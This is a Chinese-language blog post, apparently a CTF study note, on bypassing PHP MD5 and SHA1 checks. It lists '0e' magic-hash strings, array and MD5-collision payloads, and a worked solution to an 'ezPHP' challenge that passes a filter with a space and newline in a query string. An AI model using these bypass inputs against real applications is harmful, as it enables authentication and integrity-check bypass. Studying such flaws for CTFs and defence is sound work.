md5绕过

MD5绕过

弱比较

($a != $b && md5($a) == md5($b))的绕过

传参a=s1885207154a,b=s1836677006a

image-20240425220419986

image-20240425220629684

MD5值:

md5("s1885207154a") => 0e509367213418206700842008763514

md5("s1836677006a") => 0e481036490867661113260034900752

在PHP中 0e开头表示为科学计数法 0e后面的字母 会被当作零处理

字符串的MD5值为0e开头

QLTHNDT
QNKCDZO
PJNPDWY
NWWKITQ
NOOPCJF 
MMHUWUV
MAUXXQC
240610708
s878926199a
s155964671a
s214587387a
0e215962017
0e1284838308

双md5碰撞绕过

if ($a != $b && md5($a) == md5(md5($b))

使md5($a)==md5(md5($b))的值为0e,只要使md5($b)的值也为0e,就绕过

找一个 值为0e开头,md5值也为0e开头的

md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea

image-20240425221947566

image-20240425222153427

a=s1885207154a,b=V5VDSHva7fjyJoJ33IQl即可绕过if判断

双md5结果仍为0e开头字符串

MD5和双MD5以后的值都是0e开头的

0e215962017
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

md5弱类型比较

if (md5($_GET['a']) == md5($__GET['b']))

同理0e绕过

md5强类型比较

if(md5((string)$_GET['a'])===md5((string)$__GET['b']))

可以利用数组绕过

var_dump(md5([1,2,3])==md5([4,5,6]));


var_dump(md5($_GET['a'])==md5($_GET['b']));


?a[]=1&b[]

md5中需要的是一个string参数,但是当你传入一个array(数组)是,md5()是不会报错的,只是无法求出array的md5的值,这样就会导致任意的2个array的md5的值都会相等

urlencode

psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2
和
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

image-20240904110959807

例题 ezPHP

源码

<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);

$a = 'O.U.C';

$query = $_SERVER['QUERY_STRING'];
parse_str($query);
if (preg_match('/_|%5f|\.|%2E/i',$query)){
    die('听说你是黑客');
}

echo '你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)'.'<br>';
if (md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
    echo "哎呦,不错喔".'<br>';
    $O_U_C=$_GET['O_U_C'];
    if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)){
        echo 'but'.'如果我寄出===阁下又该如何应对๑乛◡乛๑'.'<br>';
        if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){
            echo '好,那么好'.'<br>';
            if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
                echo '还是被你解出来了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;
            }else{
                echo '告诉你secret的md5值也无妨,反正哈希是不可逆的๑乛◡乛๑,除非你能箨斩攻击我'.md5($secret.'ouc').'<br>';
            }
        }else{
            echo '不过如此';
        }
    }else{
        die("不行嘛(´ェ`)");
    }
}else{
    echo '嗨害嗨  (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';
}
你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)
嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)

(md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){

数组绕过 ?a[]=0&b[]=3

if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C))

要求 变量 O_U_G不是数组 并且满足 $O_U_G与字符串100 在值和类型上都不相等

if (preg_match('/_|%5f|.|%2E/i',$query))

image-20240427094110521

preg_match函数匹配了 _.以及 %5f%2E

使用空格 在php中 空格会被特殊解析成下划线

?a[]=0&b[]=4&O U C=100%0a

image-20240427112537642

if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52'])

该比较为强比较 不能使用0e绕过 此时0e不再被当作科学计数法 0e后面的东西不在记为0处理

md51[]=1&md52[]=2

image-20240427112621355

if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){

传入cookie的值为md5 使其等于 secret传入的md5的md5值相等

image-20240427114535593

image-20240427114608230

secter和传入的md5拼接的值的md5已给出

image-20240427114708232

image-20240427114817202

因为有拼接的存在 md5=ouc

image-20240427115001473

image-20240427115106052

sha1绕过

弱比较 ==

10932435112
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704

以上为sha1加密后 加密结果为 0e开头的字符串

强比较 ===

数组绕过

?a[]=1&b[]=2

cmp命令绕过

if(is_array($GET['a']) || is_array($GET['b']))

出现is_array时 无法进行数组绕过

同上urleccode编码绕过

参考文章

posted @ 2024-04-27 11:53  Yolololololo  阅读(416)  评论(0编辑  收藏  举报